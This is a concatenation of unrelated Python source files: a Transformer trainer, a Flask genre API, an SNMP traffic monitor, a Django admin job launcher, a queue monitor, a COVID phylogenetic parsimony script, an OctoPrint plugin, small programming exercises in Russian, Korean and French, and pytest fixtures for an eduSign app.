        self.opt.src_pad_idx = dataloader.source.vocab.stoi['<pad>']
        self.opt.trg_pad_idx = dataloader.target.vocab.stoi['<pad>']
        self.opt.trg_sos_idx = dataloader.target.vocab.stoi['<sos>']
        print(self.opt.trg_pad_idx)
        print(self.opt.trg_sos_idx)
        print(dataloader.target.vocab.stoi['<eos>'])

        self.opt.enc_vocab_size = len(dataloader.source.vocab)
        self.opt.dec_vocab_size = len(dataloader.target.vocab)

    def init_model(self):
        self.model = Transformer(self.opt)
        if self.opt.load_name is not None:
            checkpoints = torch.load(self.opt.load_name)
            self.model.load_state_dict(checkpoints['weights'])

        self.model = self.model.to(self.opt.device)

    def init_optimizer(self):
        if self.opt.optimizer=='adam':
            self.optimizer = torch.optim.Adam(params=self.model.parameters(),
                                              lr=self.opt.lr,
                                              weight_decay=self.opt.weight_decay,
                                              eps=self.opt.optim_eps)

    def init_logger(self):
        pass

    def train_epoch(self, epo):
        self.model.train()
        epo_loss = 0
        total = 0
        with tqdm(self.train_iter) as t:
            t.set_description(f'Training EPO {epo+1}:')
            for i, batch in enumerate(t):
                src, trg = batch.src, batch.trg
                # print("\n", trg[0], "\n", self.opt.trg_pad_idx)
                #NOTE: src and trg will be automatically padded via Transformer Embedding
                src, trg = src.to(self.opt.device), trg.to(self.opt.device)
                self.optimizer.zero_grad()
                output = self.model(src, trg) # Shift right, output: [B, seq_len, vocab_size]
                output = output.contiguous().view(-1, output.size(-1)) # Un-normalized Score Predictions
                trg = trg.contiguous().view(-1) # Ground truth class indices (classes refer to tokens)
                # label = torch.nn.functional.one_hot(trg, num_classes=self.opt.dec_vocab_size).float().to(self.opt.device)

                loss = self.criterion(output, trg)
                loss.backward()
                self.optimizer.step()

                epo_loss += loss.item()
                total += trg.size(0)
                t.set_postfix(loss=f"{epo_loss/total:.4f}")
        return epo_loss / total

    @torch.no_grad()
    def eval_epoch(self, epo):
        self.model.eval()
        epo_loss = 0
        total = 0
        with tqdm(self.valid_iter) as t:
            t.set_description(f"Eval EPO {epo+1}")
            for i, batch in enumerate(t):
                src, trg = batch.src, batch.trg
                src, trg = src.to(self.opt.device), trg.to(self.opt.device)
                output = self.model(src, trg[:, :-1])
                output = output.contiguous().view(-1, output.size(-1))
                trg = trg[:, 1:].contiguous().view(-1)

                loss = self.criterion(output, trg)

                epo_loss += loss.item()
                total += trg.size(0)
                t.set_postfix(loss=f"{epo_loss/total:.4f}")
        return epo_loss / total

    def train(self):
        for i in range(self.opt.num_epochs):
            trn_loss = self.train_epoch(i)

            val_loss = self.eval_epoch(i)

if __name__=="__main__":
    train_task = Trainer()
    train_task.train()


# Generic
import logging

# Libs
from flask import request
from flask_restplus import Resource
from flask_restplus import abort
from sqlalchemy.orm.exc import NoResultFound

# Own
from baking.main import api
from baking.main.database.models import Genre
from baking.main.v1.models.business import create_genre, delete_genre, update_genre
from baking.main.v1.serializers import genre, genres_with_artists

logger = logging.getLogger('baking-api')

ns = api.namespace('genres', description='Operations related to genres')

@ns.route('/')
class GenreCollection(Resource):

    @api.marshal_list_with(genres_with_artists)
    def get(self):
        """
        Returns list of genres
        """
        genres = Genre.query.all()
        return genres

    @api.response(201, 'Genre successfully created.')
    @api.expect(genre)
    def post(self):
        """
        Creates a new genre.
        """
        data = request.json
        create_genre(data)
        return None, 201

@ns.route('/<int:genre_id>')
@api.response(404, 'Genre not found.')
class GenreItem(Resource):

    @api.marshal_with(genre)
    def get(self, genre_id):
        """
        Returns a genre with a list of band.
        """
        try:
            return Genre.query.filter(Genre.id == genre_id).one()
        except NoResultFound:
            abort(404, 'Genre not found.')

    @api.expect(genre)
    @api.response(204, 'Genre successfully updated.')
    def put(self, genre_id):
        """
        Updates a genre.
        Use this method to change the name of a genre.
        Send a JSON object with the new name in the request body.

        ```
        {

          "name": "New Genre Name"

        }
        ```

        Specify the ID of the genre to modify in the request URL path.
        """
        data = request.json
        update_genre(genre_id, data)
        return None, 204

    @api.response(204, 'Genre successfully deleted.')
    def delete(self, genre_id):
        """
        Deletes a genre.
        """
        delete_genre(genre_id)
        return None, 204


#Вагоны в электричке пронумерованы натуральнымичислами начиная с 1
# при этом иногда вагоны нумер. с головы поезда или наоборот.
#В каждом ваного неписан его номер. Витя сел в i-й вагон от головы поезда и обнаружил,
#что его вагон имеет номер j. Он хочет определить сколько вагонов в электричке.
#Напишите программу которая будет это делать или сообщать, что без доп информации это сделать невозможно.

i = int(input("Введите вагон, в который сел Витя: "))
j = int(input("Введите вагон на табличке: "))
if i == j:
    print ("Нужна дополнительная информация")
else:
    print(i + j -1)


#!/usr/bin/python3
from pysnmp.entity.rfc3413.oneliner import cmdgen
import datetime
import pygal
import time
import tkinter as tk
import tkinter.messagebox as mb

cmdGen = cmdgen.CommandGenerator()

host = '192.168.0.35'
community = '4CM1'

# Hostname OID
system_name = '1.3.6.1.2.1.1.5.0'

# Interface OID
fa_in_oct = '1.3.6.1.2.1.2.2.1.10.1'
fa_in_uPackets = '1.3.6.1.2.1.2.2.1.11.1'
fa_out_oct = '1.3.6.1.2.1.2.2.1.16.1'
fa_out_uPackets = '1.3.6.1.2.1.2.2.1.17.1'
if_name = '1.3.6.1.2.1.31.1.1.1.1'

def snmp_query(host, community, oid):
    errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd(
        cmdgen.CommunityData(community),
        cmdgen.UdpTransportTarget((host, 161)),
        oid
    )

    # Revisamos errores e imprimimos resultados
    if errorIndication:
        print(errorIndication)
    else:
        if errorStatus:
            print('%s at %s' % (
                errorStatus.prettyPrint(),
                errorIndex and varBinds[int(errorIndex)-1] or '?'
                )
            )
        else:
            for name, val in varBinds:
                return str(val)

def generate_files():

    file1 = open("interfaces.txt", 'r')
    file2 = open("graficas.txt", 'w')

    Lines = file1.readlines()

    for x in Lines:

        try:
            result = {}
            aux_time = datetime.datetime.today()
            result['Tiempo'] = aux_time.strftime("%b %d %Y %H:%M:%S")
            result['hostname'] = snmp_query(x, community, system_name)
            result['Fa_In_Octet'] = snmp_query(x, community, fa_in_oct)
            result['Fa_In_uPackets'] = snmp_query(x, community, fa_in_uPackets)
            result['Fa_Out_Octet'] = snmp_query(x, community, fa_out_oct)
            result['Fa_Out_uPackets'] = snmp_query(x, community, fa_out_uPackets)

            name_file = "static/graphs/"+result['hostname']+"-"+x.replace("\n", "")+".txt"

            with open(name_file, 'a') as f:
                f.write(str(result))
                f.write('\n')

            #arreglos auxiliares
            x_time = []
            out_octets = []
            out_packets = []
            in_octets = []
            in_packets = []

            with open(name_file, 'r') as f2:
                for line in f2.readlines():
                    line = eval(line)
                    x_time.append(line['Tiempo'])
                    out_packets.append(float(line['Fa_Out_uPackets']))
                    out_octets.append(float(line['Fa_Out_Octet']))
                    in_packets.append(float(line['Fa_In_uPackets']))
                    in_octets.append(float(line['Fa_In_Octet']))

                    line_chart = pygal.Bar()
                    line_chart.title = result['hostname']+"-"+x
                    line_chart.x_labels = x_time
                    line_chart.add('Oct. salida', out_octets)
                    line_chart.add('Paq. salida', out_packets)
                    line_chart.add('Oct. entrada', in_octets)
                    line_chart.add('Paq. entrada', in_packets)
                    line_chart.render_to_file("static/graphs/"+result['hostname']+"-"+x.replace("\n", "")+".svg")

                    file2.write(result['hostname']+"-"+x.replace("\n", "")+".svg\n")

            print("Gráfica "+name_file.replace(".txt", "")+" actualizada")

        except Exception as e:
            print("Gráfica no actualizada [SNMP Timeout]")

    check_interface_R3_R5()

def check_interface_R3_R5():
    f1_0_R3 = "192.168.0.145"
    f1_0_R5 = "192.168.0.146"
    standard_percentage = .75

    try:
        out_packets = str(snmp_query(f1_0_R3, community, fa_out_oct))
        in_packets = str(snmp_query(f1_0_R5, community, fa_in_oct))

        n_out = float(out_packets)
        n_in = float(in_packets)

        current_percentage = n_in / n_out
        print(current_percentage)

        if current_percentage < standard_percentage:
            print("[WARNING] Pérdida de paquetes entre R3 y R5 mayor al 25%")
            root = tk.Tk()
            root.title("WARNING")
            label = tk.Label(root, text="Pérdida de paquetes entre R3 y R5 mayor al 25%")
            label.pack(side="top", fill="both", expand=True, padx=20, pady=20)
            button = tk.Button(root, text="OK", command=lambda: root.destroy())
            button.pack(side="bottom", fill="none", expand=True)
            root.mainloop()

    except Exception as e:
        print("Error de monitoreo")


from django.contrib import admin
from django.http import HttpResponse,HttpResponseRedirect
from django.conf.urls import url
from django.urls import path
from django.contrib import messages
from django.core.exceptions import ValidationError
from django.shortcuts import render, redirect
from django.conf import settings
from .models import ProcessUpdateItem
from .forms import UploadFileForm
from .services import main, Alma_Apis
import logging
import threading

# Register your models here.

#Initialisation des logs
logger = logging.getLogger(__name__)

#Thread pour le lancement du traitement
class ExecuteJobThread(threading.Thread):

    def __init__(self,process):
        self.process = process
        threading.Thread.__init__(self)

    def run(self):
        logger.debug("Lancement du traitement ExecuteJobThread")
        main.handle_uploaded_file(self.process)
        logger.debug("Fin ExecuteJobThread")

@admin.register(ProcessUpdateItem)
class UpdateItemProcesss(admin.ModelAdmin):
    list_display = ('id', 'institution', 'base', 'start_date', 'end_date','num_title_to_processed', 'is_done','num_title_processed','link_file_download')
    ordering = ('start_date',)
    search_fields = ('file_upload',)

    def get_urls(self):
        """ Surcharge les urls pour le modèle
        """

        # get the default urls
        urls = super(UpdateItemProcesss, self).get_urls()

        # define security urls
        security_urls = [
            path('add/', self.admin_site.admin_view(self.execute_process)),
            # Add here more urls if you want following same logic
        ]

        # Make sure here you place your added urls first than the admin default urls
        return security_urls + urls

    def execute_process(self,request):
        # vue pour le formulaire de lancement du processus de traitement des exemplaires
        if request.method == 'POST':
            form = UploadFileForm(request.POST, request.FILES)
            if form.is_valid():
                # Teste s'il reste suffisamment d'appels d'Api autorisés pour lancer le traitement sur toutes les lignes du fichier
                alma_api = Alma_Apis.AlmaRecords(apikey=settings.ALMA_API_KEY[form.cleaned_data['institution']], region='EU', service=__name__)
                status,nb_api_call = alma_api.get_api_remaining()
                if status == "Error" :
                    # Pb. de clef où indisponibilité du service
                    messages.error(request,"L'API Alma remonte l'erreur suivante :  {}".format(nb_api_call))
                    return HttpResponseRedirect("/admin/alma/processupdateitem/add")
                num_ligne = sum(1 for line in request.FILES['file']) - 1
                if (num_ligne*3) > (int(nb_api_call) - 10000) :
                    messages.error(request,"Nous ne disposons que de {} appels d'API pour la journée. Votre fichier contient {} lignes. Il faut deux appels par ligne pour traiter le fichier. Merci de diminuer le nombre de lignes à traiter".format(nb_api_call,num_ligne))
                    return HttpResponseRedirect("/admin/alma/processupdateitem/add")
                # Teste si institution possède bien une base de test
                if form.cleaned_data['base'] == 'TEST' and form.cleaned_data['institution'] in ('INP','IEP'):
                    messages.error(request,'Nous ne disposons pas de bac à sable pour l''institution {}'.format(form.cleaned_data['institution']))
                    return HttpResponseRedirect("/admin/alma/processupdateitem/add")
                # Teste si un autre process est en cours
                if ProcessUpdateItem.objects.filter(is_done=False).count() > 0 :
                    messages.error(request,'Un autre processus est en cours attendez la fin de son exécution pour lancer un nouveau traitement')
                    return HttpResponseRedirect("/admin/alma/processupdateitem")

                user = request.user
                process = ProcessUpdateItem( institution = form.cleaned_data['institution'],
                                base = form.cleaned_data['base'],
                                file_upload = request.FILES['file'],
                                user = user,
                                num_title_to_processed = num_ligne
                            )
                process.save()
                logger.info("Process cree")
                ExecuteJobThread(process).start()
                # request.session['pid'] = process.id
                messages.success(request, 'L''analyse a été lancée . Vous recevrez un meessage sur {} à la fin du traitement'.format( user.email))
                return HttpResponseRedirect("/admin/alma/processupdateitem/")
        else:
            form = UploadFileForm()
        return render(request, "alma/execute-process.html", locals())


from threading import Thread
import time
from apollo.monitoring.instrumentation import Instrumentation
from apollo.processors.dynamic_throttling import DynamicThrottling
from apollo.configurations import limitation_pending_queue
from .performance_reporter import PerformanceReporter
from .performance_metric import PerformanceMetric
from apollo.log.binlog.commit.checkpoint_committer import CheckPointCommitter
from apollo.processors.cancellation import Cancellation

class Monitor:
    _monitored_queues = None
    _monitoring_thread = None
    _cancel = False
    _instrumentation = None

    CONST_PENDING_QUEUE = 'pending_queue'
    CONST_COMMIT_QUEUE = 'commit_queue'
    LIMITATION_PENDING_QUEUE = limitation_pending_queue

    _throttling = None
    _reporter = None
    _commiter = None
    _cancellation = None

    def __init__(self, pending_queue, publish_queue, throttling, reporter, cancellation: Cancellation):
        self._monitored_queues = dict()
        self._monitored_queues[self.CONST_PENDING_QUEUE] = pending_queue
        self._monitored_queues[self.CONST_COMMIT_QUEUE] = publish_queue
        self._instrumentation = Instrumentation()

        self._monitoring_thread = Thread(target=self._do_monitor)
        self._monitoring_thread.setDaemon(True)
        self._throttling = throttling
        self._reporter = reporter
        self._cancellation = cancellation

    def start(self):
        self._monitoring_thread.start()

    def stop(self):
        self._cancel = True

    def monitor_commiter(self, commiter: CheckPointCommitter):
        self._commiter = commiter

    _total_read_log = 0
    _total_filter = 0
    _total_publish = 0
    _total_commit = 0

    def _do_monitor(self):
        count = 0
        while True and not self._cancellation.is_cancel:
            self.report()
            count = count + 1
            #print('seconds', count)
            self._manage_queue()
            time.sleep(1)

    def _manage_queue(self):
        if self._monitored_queues[self.CONST_PENDING_QUEUE].qsize() > self.LIMITATION_PENDING_QUEUE:
            self._throttling.throttle_read()

    def report(self):
        metric = self._get_performane_metric()
        self._reporter.report(metric)

    def _get_performane_metric(self):
        read_log_per_seconds = self._instrumentation.read_log_counter.count - self._total_read_log
        self._total_read_log = self._instrumentation.read_log_counter.count

        filter_per_seconds = self._instrumentation.filter_counter.count - self._total_filter
        self._total_filter = self._instrumentation.filter_counter.count

        pubish_per_seconds = self._instrumentation.publish_kafka_counter.count - self._total_publish
        self._total_publish = self._instrumentation.publish_kafka_counter.count

        commit_per_seconds = self._instrumentation.commit_counter.count - self._total_commit
        self._total_commit = self._instrumentation.commit_counter.count

        metric = PerformanceMetric()
        metric.read_log_count = self._total_read_log
        metric.read_log_per_seconds = read_log_per_seconds

        metric.filter_log_count = self._total_filter
        metric.filter_log_per_seconds = filter_per_seconds

        metric.publish_count = self._total_publish
        metric.publish_per_seconds = pubish_per_seconds

        metric.commit_count = self._total_commit
        metric.commit_count_per_seconds = commit_per_seconds

        metric.pending_queue_count =  self._monitored_queues[self.CONST_PENDING_QUEUE].qsize()
        metric.commit_queue_count = self._monitored_queues[self.CONST_COMMIT_QUEUE].qsize()

        metric.holing_checkpoint_counts = self._commiter.holding_checkpoint_counts()
        metric.waiting_checkpoint_counts = self._commiter.waiting_checkpoint_counts()

        return metric

    def get_instrumentation(self):
        return self._instrumentation


"""
Created on Sat Jun 13 15:31:32 2020

@author: david
"""

from pastml.acr import pastml_pipeline
from Bio import SeqIO
from ete3 import Tree
import pandas as pd
import numpy as np

def fasta2csv(fasta_file,csv_file):

    "Get sequences from fasta"
    seq_dic = {}
    for record in SeqIO.parse(fasta_file, "fasta"):
        seq_dic[record.id] = [i for i in record.seq] #str(record.seq)
    sites = len(seq_dic[next(iter(seq_dic))])
    traits = ["site" + str(i) for i in range(sites)]
    seqs_df = pd.DataFrame.from_dict(seq_dic, orient='index', columns=traits)
    seqs_df.to_csv(csv_file)

    return traits

def reconstruct(tree_file,align_file,csv_file="temp-align.csv"):

    if align_file.endswith('.fasta'):
        "Convert fasta to csv"
        traits = fasta2csv(align_file,csv_file) # convert fasta to csv
        data = csv_file # Path to the table containing tip/node annotations, in csv or tab format
    else:
        df = pd.read_csv(align_file, index_col=0)
        traits = [column for column in df.columns]
        data = align_file

    tree = tree_file # Path to the tree in newick format

    # Columns present in the annotation table,
    # for which we want to reconstruct ancestral states
    columns = traits #['Country']

    # Path to the output compressed map visualisation
    html_compressed = "tree-000_map.html"

    # (Optional) path to the output tree visualisation
    html = "tree-000_tree.html"

    pastml_pipeline(data=data, data_sep=',', columns=columns, tree=tree, verbose=True)

    #pastml_pipeline(data=data, data_sep=',', columns=columns, name_column=traits[0], tree=tree,
    #                html_compressed=html_compressed, html=html, verbose=True)

def label_internal_nodes(tree):

    internal_cntr = 0 # counter for internal nodes encountered
    for node in tree.traverse("preorder"):
        if node.is_root():
            node.name = 'root'
        else:
            if not node.is_leaf():
                node.name = 'n' + str(internal_cntr)
                internal_cntr += 1
    return tree

"""
    Reconstruct ancestral states using Sankoff's max parsimony algorithm (see Felsenstein p15-18)
    Parsimony scores are computed assuming all transitions have a cost of one.
    Tip/ancestral features are input and output as dictionaries
    Internal nodes are labeled as n<X> where X is an int determined by the position of the node in a pre-order traversal
"""
def reconstruct_MP(tree,feature_dic):

    state_set = set([feature_dic[node.name] for node in tree.traverse() if node.is_leaf()])
    states = len(state_set)

    "Add a state2int dict map so this works with non-integer data types"
    state2int = {state:index for index, state in enumerate(state_set)}
    int2state = {index:state for index, state in enumerate(state_set)}

    "Post-order traversal to compute costs in terms of required state transitions"
    for node in tree.traverse("postorder"):
        if node.is_leaf():
            costs = [np.inf]*states
            tip_state = state2int[feature_dic[node.name]] # feature_dic[node.name]
            costs[tip_state] = 0
            node.add_features(costs = costs)
        else:
            costs = [0]*states
            for i in range(states):
                child_costs = []
                for child in node.children:
                    temp_costs = [0]*states
                    for j in range(states):
                        temp_costs[j] = child.costs[j]
                        if i != j:
                            temp_costs[j] = temp_costs[j] + 1 # add cost for transitioning between i and j
                    child_costs.append(temp_costs)
                costs[i] = sum([min(c) for c in child_costs])
            node.add_features(costs = costs)

    "Pre-order traversal to select anc states based on least cost parsimony score"
    anc_dic = {}
    internal_cntr = 0 # counter for internal nodes encountered
    for node in tree.traverse("preorder"):
        costs = node.costs
        if node.is_root():
            root_state = costs.index(min(costs)) # or np.argmin(node.costs)
            node.add_features(state = root_state)
            anc_dic['root'] = root_state
        else:
            parent_state = node.up.state
            least_cost = min(costs)
            least_cost_state = costs.index(least_cost)
            if parent_state == least_cost_state:
                anc_state = parent_state
            else:
                parent_st_cost = costs[parent_state]
                if parent_st_cost < (least_cost+1):
                    anc_state = parent_state # if parent state costs less than transitioning to least cost state
                else:
                    anc_state = least_cost_state
            node.add_features(state = anc_state)
            if node.is_leaf():
                anc_dic[node.name] = anc_state
            else:
                name = 'n' + str(internal_cntr)
                anc_dic[name] = anc_state
                internal_cntr += 1

    "Covert from integers back to original states"
    for k,v in anc_dic.items():
        anc_dic[k] = int2state[v]

    "Should return tree and anc_dic"
    return tree, anc_dic

if __name__ == '__main__':

    import time

    "Old ML test data"
    #path = './test-sets/testTF_timeVaryingSiteEffects_june2020/'
    #tree_file = path + 'tree-000.tre'
    #fasta_file = path + 'tree-000.fasta'
    #csv_file = path + 'tree-000.csv'
    #reconstruct(tree_file,fasta_file,csv_file)

    "New covid test data for testing MP reconstructions"
    tree_file = 'covid_ancestral_D614G_testMP.tre'
    csv_file = 'covid_features_D614G_testMP.csv'

    tree = Tree(tree_file, format=1)
    tree = label_internal_nodes(tree)
    #for node in tree.traverse("preorder"): print(node.name)

    df = pd.read_csv(csv_file,index_col='node')
    feature_dic = {}
    for index, row in df.iterrows():
        feature_dic[index] = row['nsp12_P323L+S_D614G']
    tic = time.perf_counter()
    tree, anc_dic = reconstruct_MP(tree,feature_dic)
    toc = time.perf_counter()
    elapsed = toc - tic
    print(f"Elapsed time: {elapsed:0.4f} seconds")

    "Plot"
    import balticmod as bt
    import matplotlib as mpl
    from matplotlib import pyplot as plt
    import TreeUtils
    import seaborn as sns

    "Write tree with fit vals to multi-type Newick file"
    absolute_time = 2020.67
    mtt_file = 'covid_ancestral_D614G_testMP_mtt.tre'
    fig_file = 'covid_ancestral_D614G_testMP_MP.png'
    TreeUtils.write_MTT_newick(tree,mtt_file)

    sns.set(style="darkgrid")
    myTree=bt.loadNewick(mtt_file,absoluteTime=False)
    myTree.traverse_tree() ## required to set heights
    myTree.setAbsoluteTime(absolute_time) ## set absolute time of all branches by specifying date of most recent tip
    myTree.treeStats() ## report stats about tree

    cmap = mpl.cm.get_cmap('tab10', 10)

    fig,ax = plt.subplots(figsize=(20,20),facecolor='w')

    x_attr=lambda k: k.absoluteTime ## x coordinate of branches will be absoluteTime attribute
    c_func=lambda k: 'darkorange' if k.traits['type']=='1' else 'steelblue' ## colour of branches
    s_func=lambda k: 50-30*k.height/myTree.treeHeight ## size of tips
    z_func=lambda k: 100

    cu_func=lambda k: 'k' ## for plotting a black outline of tip circles
    su_func=lambda k: 2*(50-30*k.height/myTree.treeHeight) ## black outline in twice as big as tip circle
    zu_func=lambda k: 99
    myTree.plotTree(ax,x_attr=x_attr,colour_function=c_func) ## plot branches
    myTree.plotPoints(ax,x_attr=x_attr,size_function=s_func,colour_function=c_func,zorder_function=z_func) ## plot circles at tips
    myTree.plotPoints(ax,x_attr=x_attr,size_function=su_func,colour_function=cu_func,zorder_function=zu_func) ## plot circles under tips (to give an outline)

    "Add legend the hard way"
    import matplotlib.patches as mpatches
    blue_patch = mpatches.Patch(color='steelblue', label = 'Spike 614D')
    red_patch = mpatches.Patch(color='darkorange', label = 'Spike 614G')
    handles = [blue_patch,red_patch]

    "For Regions"
    ax.legend(handles=handles,prop={'size': 24}) #loc='upper left'

    "Add month labels as xticks"
    step_freq = 1/12
    xticks = np.arange(2020,absolute_time,step_freq)
    ax.set_xticks(xticks)
    labels = ['Jan','Feb','Mar','Apr','May','June','July','Aug','Sep']
    ax.set_xticklabels(labels, fontsize=24) #rotation='vertical'
    ax.set_xlabel('Time', fontsize=24)

    ax.set_ylim(-5,myTree.ySpan+5)
    plt.savefig(fig_file, dpi=300)


# coding=utf-8
from __future__ import absolute_import

import octoprint.plugin
import flask
import socket

class zboltthemePlugin(octoprint.plugin.SettingsPlugin,
                    octoprint.plugin.TemplatePlugin,
                    octoprint.plugin.AssetPlugin,
                    octoprint.plugin.SimpleApiPlugin,
                    octoprint.plugin.StartupPlugin):

    def __init__(self):
        hostname = socket.gethostname() + ".local"
        self.printer_name = [hostname]

    def get_settings_defaults(self):
        return dict(
            webcam=dict(
                enabled=False
                )
        )

    def get_assets(self):
        return dict(
            less=['less/theme.less'],
            js=['js/zbolttheme.js'],
            css=['css/main.css', 'css/theme.css']
        )

    def get_api_commands(self):
        return dict(
            update_printer_name=[]
        )

    def on_api_command(self, command, data):
        if command == "update_printer_name":
            self.printer_name = data.get("printer_name")
            self._plugin_manager.send_plugin_message(
                self._identifier, dict(printer_name=self.printer_name))

    def on_api_get(self, request):
        return flask.jsonify(printer_name=self.printer_name)

    def get_template_configs(self):
        return [
            dict(type="settings", name="Z-Bolt",
                 data_bind="visible: loginState.isAdmin()"),
        ]

    ##~~ Softwareupdate hook
    def get_update_information(self):
        return dict(
        zbolttheme=dict(
            displayName = "Z-Bolt Theme",
            displayVersion = self._plugin_version,

            type="github_release",
            user="Z-Bolt",
            repo="OctoPrint-zbolttheme",
            current=self._plugin_version,

            pip="https://github.com/Z-Bolt/OctoPrint-Z-Bolt-Theme/archive/{target_version}.zip"
            )
        )

__plugin_name__ = "Z-Bolt Theme"

def __plugin_load__():
    global __plugin_implementation__
    __plugin_implementation__ = zboltthemePlugin()

    global __plugin_hooks__
    __plugin_hooks__ = {
        "octoprint.plugin.softwareupdate.check_config":__plugin_implementation__.get_update_information
    }


n = int(input())

nums = list(map(int, input().split()))

d = [0] * 100

d[0] = nums[0]
d[1] = max(nums[0], nums[1])

for i in range(2, n):
    d[i] = max(d[i-1],d[i-2] + nums[i])

print(d[n-1])

알고리즘 단계/동적 계획법1/개미 전사.py


a = 5
b = "toto"

personnes = ("Mélanie", "Jean", "Martin", "Alice")

print(personnes[0])
print(len(personnes))

for i in range(len(personnes)):
    print(personnes[i])

#range est un tupple des éléments en range(0,10) !
# Attention : tupples non modifiable != listes

#--------------------------------------
def obtenir_infos():
    return "Mélanie", 37, 1.60

def afficher_infos(nom,age,taille):
    print(f"informations : nom {nom}, age:{age}, taille={taille}")

infos = obtenir_infos()
afficher_infos(*infos)


import logging
import os
import tempfile
import uuid
from base64 import b64decode, b64encode
from copy import deepcopy

import pytest

from edusign_webapp import run
from edusign_webapp.doc_store import DocStore
from edusign_webapp.document.metadata.redis_client import RedisMD
from edusign_webapp.document.metadata.sqlite import SqliteMD
from edusign_webapp.document.storage.local import LocalStorage
from edusign_webapp.tests.sample_pdfs import pdf_form_1, pdf_form_2, pdf_simple_1, pdf_simple_2

here = os.path.abspath(os.path.dirname(__file__))

config_dev = {
    'TESTING': True,
    'ENVIRONMENT': 'development',
    'SCOPE_WHITELIST': 'example.org',
    'USER_BLACKLIST': 'blacklisted@example.org',
    'USER_WHITELIST': 'whitelisted@example.org',
    'MAIL_BACKEND': 'dummy',
    'BABEL_DEFAULT_LOCALE': 'en',
    'DOC_LOCK_TIMEOUT': 300,
}

config_pro = {
    'TESTING': True,
    'ENVIRONMENT': 'production',
    'SCOPE_WHITELIST': 'example.org',
    'USER_BLACKLIST': 'blacklisted@example.org',
    'USER_WHITELIST': 'whitelisted@example.org',
    'MAIL_BACKEND': 'dummy',
    'BABEL_DEFAULT_LOCALE': 'en',
    'DOC_LOCK_TIMEOUT': 300,
}

_environ_base = {
    "HTTP_MD_ORGANIZATIONNAME": 'Test Org',
    "HTTP_EDUPERSONPRINCIPALNAME": 'dummy-eppn@example.org',
    "HTTP_DISPLAYNAME": b64encode('<Attribute>Tëster Kid</Attribute>'.encode("utf-8")),
    "HTTP_MAIL": b64encode(b'<Attribute>tester@example.org</Attribute>'),
    "HTTP_SHIB_IDENTITY_PROVIDER": 'https://idp',
    "HTTP_SHIB_AUTHENTICATION_METHOD": 'dummy',
    "HTTP_SHIB_AUTHNCONTEXT_CLASS": 'dummy',
}

_environ_base_2 = {
    "HTTP_MD_ORGANIZATIONNAME": 'Test Org',
    "HTTP_EDUPERSONPRINCIPALNAME": 'dummy-eppn-2@example.org',
    "HTTP_DISPLAYNAME": b64encode('<Attribute>Invited Kid</Attribute>'.encode("utf-8")),
    "HTTP_MAIL": b64encode(b'<Attribute>invited0@example.org</Attribute>'),
    "HTTP_SHIB_IDENTITY_PROVIDER": 'https://idp',
    "HTTP_SHIB_AUTHENTICATION_METHOD": 'dummy',
    "HTTP_SHIB_AUTHNCONTEXT_CLASS": 'dummy',
}

@pytest.fixture
def environ_base():
    yield _environ_base

@pytest.fixture
def environ_base_2():
    yield _environ_base_2

@pytest.fixture(params=[config_dev, config_pro])
def client(request):
    app = run.edusign_init_app('testing', request.param)
    app.config.update(request.param)
    app.api_client.api_base_url = 'https://dummy.edusign.api'

    with app.test_client() as client:
        client.environ_base.update(_environ_base)

        yield client

@pytest.fixture(params=[config_dev, config_pro])
def client_non_whitelisted(request):
    app = run.edusign_init_app('testing')
    app.config.update(request.param)
    app.api_client.api_base_url = 'https://dummy.edusign.api'

    with app.test_client() as client:
        environ = deepcopy(_environ_base)
        environ['HTTP_EDUPERSONPRINCIPALNAME'] = b'tester@example.com'
        client.environ_base.update(environ)

        yield client

def _get_test_app(config):
    tempdir = tempfile.TemporaryDirectory()
    db_path = os.path.join(tempdir.name, 'test.db')
    more_config = {'LOCAL_STORAGE_BASE_DIR': tempdir.name, 'SQLITE_MD_DB_PATH': db_path}
    more_config.update(config)
    app = run.edusign_init_app('testing', more_config)
    app.api_client.api_base_url = 'https://dummy.edusign.api'
    return tempdir, app

@pytest.fixture(params=[config_dev, config_pro])
def app(request):

    yield _get_test_app(request.param)

def _get_test_s3_app(config):
    more_config = {'STORAGE_CLASS_PATH': 'edusign_webapp.document.storage.s3.S3Storage', 'AWS_REGION_NAME': 'us-east-1'}
    more_config.update(config)
    app = run.edusign_init_app('testing', more_config)
    app.api_client.api_base_url = 'https://dummy.edusign.api'
    return app

@pytest.fixture(params=[config_dev, config_pro])
def s3_app(request):

    yield _get_test_s3_app(request.param)

@pytest.fixture
def local_storage():
    tempdir = tempfile.TemporaryDirectory()
    config = {'LOCAL_STORAGE_BASE_DIR': tempdir.name}
    config.update(config_dev)
    # return tempdir, since once it goes out of scope, it is removed
    yield tempdir, LocalStorage(config, logging.getLogger(__name__))

@pytest.fixture
def sqlite_md():
    tempdir = tempfile.TemporaryDirectory()
    db_path = os.path.join(tempdir.name, 'test.db')
    config = {'SQLITE_MD_DB_PATH': db_path}
    config.update(config_dev)
    app = run.edusign_init_app('testing', config)
    # return tempdir, since once it goes out of scope, it is removed
    yield tempdir, SqliteMD(app)

@pytest.fixture
def redis_md():
    tempdir = tempfile.TemporaryDirectory()
    db_path = os.path.join(tempdir.name, 'test.db')
    config = {'SQLITE_MD_DB_PATH': db_path}
    config.update(config_dev)
    app = run.edusign_init_app('testing', config)
    # return tempdir, since once it goes out of scope, it is removed
    yield tempdir, RedisMD(app)

@pytest.fixture
def doc_store_local_sqlite():
    tempdir = tempfile.TemporaryDirectory()
    db_path = os.path.join(tempdir.name, 'test.db')
    config = {
        'STORAGE_CLASS_PATH': 'edusign_webapp.document.storage.local.LocalStorage',
        'DOC_METADATA_CLASS_PATH': 'edusign_webapp.document.metadata.sqlite.SqliteMD',
        'LOCAL_STORAGE_BASE_DIR': tempdir.name,
        'SQLITE_MD_DB_PATH': db_path,
    }
    config.update(config_dev)
    app = run.edusign_init_app('testing', config)
    # return tempdir, since once it goes out of scope, it is removed
    yield tempdir, DocStore(app)

@pytest.fixture
def doc_store_local_redis():
    tempdir = tempfile.TemporaryDirectory()
    config = {
        'STORAGE_CLASS_PATH': 'edusign_webapp.document.storage.local.LocalStorage',
        'DOC_METADATA_CLASS_PATH': 'edusign_webapp.document.metadata.redis_client.RedisMD',
        'LOCAL_STORAGE_BASE_DIR': tempdir.name,
    }
    config.update(config_dev)
    app = run.edusign_init_app('testing', config)
    # return tempdir, since once it goes out of scope, it is removed
    yield tempdir, DocStore(app)

@pytest.fixture
def sample_pdf_data():
    yield pdf_simple_1

@pytest.fixture
def sample_binary_pdf_data():
    yield b64decode(pdf_simple_1.encode('utf8'))

@pytest.fixture
def sample_metadata_1():
